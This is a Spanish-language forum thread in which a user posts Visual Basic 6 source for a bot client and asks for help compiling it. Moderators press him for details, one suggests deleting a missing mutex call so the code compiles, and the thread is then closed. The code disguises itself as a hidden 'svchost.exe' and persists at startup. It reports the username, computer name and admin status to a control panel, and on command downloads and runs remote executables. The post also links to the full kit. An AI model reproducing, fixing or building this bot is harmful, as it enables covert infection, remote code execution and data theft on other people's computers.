muy buenas.
al quererlo compilarlo como exe me arroja el error.
no consigo encontrar el problema. me ayudan?
'Hidden File
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Dim keyword(4) As Variant
Private Sub Form_Load()
On Error Resume Next
'################### [SETTINGS] ###################
panel = "http://xxxx.com.mx/sour" 'Panel URL
MuTeX "MUTREX_910480921" 'Set Mutex
Interval = 20 'minutes
intCount = 0 'tCount
'################### [/SETTINGS] ###################
'################## [PERSISTANCE] ##################
'Call MakeCritical(-1, True) 'BSOD Process Persistance
App.TaskVisible = False 'Visibility
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\svchost.exe" 'Copy file
SetFileAttributes Environ("AppData") & "\svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it
addtostartup "svchost", (Environ("AppData") & "\svchost.exe") 'Add to startup
'################## [/PERSISTANCE] ##################
Call getCommand(panel)
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
intCount = intCount + 1 'Count +1 minute...
If intCount = Interval Then 'If time is reached...
intCount = 0 'Reset
addtostartup "svchost", (Environ("AppData") & "\svchost.exe")
Call getCommand(panel)
End If
End Sub
Public Sub getCommand(ByVal panel) 'Get Latest Command
On Error Resume Next
Dim objHttp As Object, strURL As String, strText As String, id As String
id = GetSetting("svchost", "svchost", "id", strText) 'Get ID
strURL = panel & "run.php" 'Control Panel / run.php
Set objHttp = CreateObject("MSXML2.ServerXMLHTTP")
objHttp.Open "POST", strURL, False
objHttp.setRequestHeader "User-Agent", _
"753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5]
objHttp.setRequestHeader "Content-Type", _
"application/x-www-form-urlencoded" 'Allows data to be sent
If id <> "" Then 'If NOT blank...
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os & "&id=" & id) 'Send ID
Else
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID...
End If
strText = objHttp.ResponseText 'Response Text
Dim errcode As Long
Dim localFileName As String
Dim rN As Integer
If Left(strText, 3) = "id|" Then
SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) 'Save the new ID
ElseIf Left(strText, 3) = "DL|" Then 'Download...
Randomize
rN = Int(Rnd * 999999)
DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir
errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
ElseIf Left(strText, 3) = "UP|" Then
Randomize
rN = Int(Rnd * 999999)
DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir
errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
'Removal/Ending...
Dim WshShell, CAL1
Set WshShell = CreateObject("WScript.Shell")
If AmIAdmin = True Then
CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
WshShell.RegDelete CAL1
Else
CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
WshShell.RegDelete CAL1
End If
Call MakeCritical(-1, False)
End
ElseIf Left(strText, 3) = "VV|" Then
ShellExecute Me.hwnd, "Open", Split(strText, "|")(1), 0, 0, SW_SHOWNORMAL 'ShellExec [Normal]
ElseIf Left(strText, 3) = "VI|" Then
Shell Environ("programfiles") & "\Internet Explorer\iexplore.exe " & Split(strText, "|")(1), vbHide 'ShellExec [Hidden]
ElseIf Left(strText, 3) = "UN|" Then 'Removal/Ending...
If AmIAdmin = True Then
CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
WshShell.RegDelete CAL1
Else
CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
WshShell.RegDelete CAL1
End If
Call MakeCritical(-1, False)
End
End If
Set objHttp = Nothing
End Sub
gracias.
Mod: código modificado, puesto en etiquetas GeSHi
te dice solo eso? no te dice linea, numero de error, nada?
http://subefotos.com/ver/?797bb634d3203129671a4064e6d9891eo.png#codigos (http://subefotos.com/ver/?797bb634d3203129671a4064e6d9891eo.png#codigos)
es todo no me dice nada, q hago, no detecto el problema?
o creo que es mutex lo q me arroja cmo error.
alguna idea de como modificarlo?
Mod: No hacer doble post
ves que dando detalles ya no tenemos que adivinar... da tantos detalles como sepas...
que es mutex, que hace o donde lo defines?
no se me descargue este archivo para mi proyecto anterior. que hace? o como lo corrijo?
te falta la funcion Mutex ? que queres hacer exactamente ?
mi antiguo proyecto: http://foro.elhacker.net/seguridad/me_recomiendan_una_botnet-t429408.0.html;msg1993978#msg1993978
(http://foro.elhacker.net/seguridad/me_recomiendan_una_botnet-t429408.0.html;msg1993978#msg1993978)
me compre una botnet de pago no de ddos, si no de visitar paginas con http, y quiero hacer un proyecto con mi iphone y shsh para intrar a mi web con varias computadoras.
ese codigo es de la botnet, donde no puedo hacer el ejecutable en vb6 cuando le doy make o compilar.
aqui esta el link de la botnet : http://www.mediafire.com/download/4msrb27bb70y1zq/uBot+Sauce.rar (http://www.mediafire.com/download/4msrb27bb70y1zq/uBot+Sauce.rar)
el archivo se llama Form1.frm esta ubicado en hidden, en el zip vb6 source.
me van a ayudar o no para irme a otro lugar?
gracias.
Cita de: antihelio en 12 Febrero 2015, 06:23 AMme van a ayudar o no para irme a otro lugar?
1) Bájate los humos, la gente te ha respondido a tu post con buena fé para intentar averiguar más datos sobre el problema, porque no puedes ir por ahí formulando una pregunta de programación sin dar NINGÚN tipo de información, y más cuando se trata de un maldito error, que el compiler te está indicando el motivo del error pero ha hecho falta que un compañero te pida esos datos BÁSICOS para que lo compartieses, ¿
que narices esperas, que hagamos de adivinos?, deberías sentirte agradecido por que más de 1 usuario haya prestado atención a un post de tan poca calidad (carente de cualquier información sobre el problema) y encima se haya tomado la molesta de responderte.
El caso es que, YA TE ESTÁN AYUDANDO, así que no es necesario que te dirijas con prepotencia a las personas que te están ofreciendo ayuda, si eres una persona impaciente, pues lo siento por ti, si quieres irte, vete, nadie te obliga a quedarte, pero diciendo esas cosas no conseguirás NADA, bueno, si, conseguirás todo lo contrario a lo que tanto andas buscando (que no te ayuden).
En serio, ¿tu crees que es normal que un moderador global tenga que pedirte información porque llegaste sin mostrar nada, y luego el moderador de la sección tenga que pedirte explicaciones sobre lo que intentas hacer porque tampoco especificaste nada? (y que además te estemos llamando la atención por quebrantamientos de las reglas del foro), el problema no es de ellos, sino tuyo, así que relájate un poco y habla con propiedad, este es un lugar respetable, si quieres ayuda, colaboras dando la información necesaria, no nos hagas perder el tiempo haciendóte preguntas que deberías haber resuelto por ti mismo al formular el post.
Te invito a leer lo siguiente:
CitarReglas generales del foro:
http://foro.elhacker.net/reglas
- 10 pasos para plantear una duda informática (http://foro.elhacker.net/index.php/topic,159345.msg751417.html)
- FAQ : Como hacer preguntas "inteligentes" (http://foro.elhacker.net/index.php/topic,7122.0.html)
2) Debes seguir las normas del foro, profavor no publiques posts duplicados y encima en la sección incorrecta, sabes perfectamente donde debes postear las preguntas sobre VB6.
3) Me imagino que la intención del miembro inexistente "MUTEX", como su nombre indica, sería para asignarle un MUTEX a la instancia de la aplicación, ¿tienes idea de lo que significa eso? (lo pregunto en serio, ¿aparte de copiar todo el código, te has parado a intentar examinarlo para aprender su funcionamiento?, lee acerca de Mutex y Sempahores ), simplemente elimina esa instrucción para que te compile correctamente, en un principio es irrelevante dado que tus intenciones no son manipular el Mutex de la app.
Saludos.
Cita de: Eleкtro en 12 Febrero 2015, 11:14 AM
1) Bájate los humos, la gente te ha respondido a tu post con buena fé para intentar averiguar más datos sobre el problema, porque no puedes ir por ahí formulando una pregunta de programación sin dar NINGÚN tipo de información, y más cuando se trata de un maldito error, que el compiler te está indicando el motivo del error y ha hecho falta que un compañero te pida esos datos para que lo compartieses con los demás, ¿que narices esperas, que hagamos de adivinos?, deberías dar gracias por que más de 1 usuario haya prestado atención a un post de tan poca calidad (carente de cualquier información sobre el problema) y se haya tomado la molesta de responder al post.
El caso es que, YA TE ESTÁN AYUDANDO, así que no es necesario que te dirijas con prepotencia a las personas que te están ofreciendo ayuda, si eres una persona impaciente, pues lo siento por ti, si quieres irte, vete, nadie te obliga a quedarte, pero diciendo esas cosas no conseguirás NADA, bueno, si, conseguirás todo lo contrario a lo que tanto andas buscando (que no te ayuden).
2) Debes seguir las normas del foro, profavor no publiques posts duplicados y encima en la sección incorrecta, sabes perfectamente donde debes postear las preguntas sobre VB6.
3) Me imagino que la intención del miembro inexistente "MUTEX", como su nombre indica, sería para asignarle un MUTEX a la instancia de la aplicación, ¿tienes idea de lo que significa eso? (lo pregunto en serio, ¿aparte de copiar todo el código, te has parado a intentar examinarlo para aprender su funcionamiento?, lee acerca de Mutex y Sempahores ), simplemente elimina esa instrucción para que te compile correctamente, en un principio es irrelevante dado que tus intenciones no son manipular el Mutex de la app.
Saludos.
gracias, pero no funciona, la verdad no se nada de programacion y no estoy para nada interesado en ella, si me ayudaras poniendome el codigo correcto te lo agradeceria y jamas me volveras a ver por aqui. de nuevo gracias.
no quiero eliminar ninguna funcion porque el tutorial no dice que eliine nada sino que lo haga make.exe.
Cita de: antihelio en 12 Febrero 2015, 11:25 AMno funciona
¿Que significa "no funciona"?, da detalles sobre lo que sucede, muestra el error (si alguno).
No hagas que nadie tenga que repetirte de nuevo el punto sobre
DAR INFORMACIÓN, por favor.
Saludos...
disculpa mi arrogancia y mi desinformacion pero trato de compilarlo y no funciona es una botnet, no hace ddos ni ataques solo visita web, tato de compilarlo como dijiste pero no me autoinfecto para ver si funciona y no me sale en la la pagina como cliente.
no digo que te auto infectes no pongas ninguna agina solo si pudieras hacerlo funcionar tal y como esta te lo agradeceria mas por tu tiempo y trabajo que nada.
solo quiero que sea un exe
gracias.
Cita de: antihelio en 12 Febrero 2015, 11:25 AM
la verdad no se nada de programacion y no estoy para nada interesado en ella, si me ayudaras poniendome el codigo correcto te lo agradeceria
Estás en el lugar incorrecto... este es un foro para aprender no para hacerle los trabajos a los demás... si no estás interesado en aprender, vas por mal camino en este foro...
el tema queda cerrado por violar reglas del subforo
https://foro.elhacker.net/programacion_general/reglas_subforo_de_programacion_general-t93852.0.html (https://foro.elhacker.net/programacion_general/reglas_subforo_de_programacion_general-t93852.0.html)
CitarLimitantes:
El subforo, para defender sus objetivos, no aceptara peticiones de programas o códigos. Entiéndase lo siguiente (AQUÍ NO SE HACE LA TAREA DE NADIE)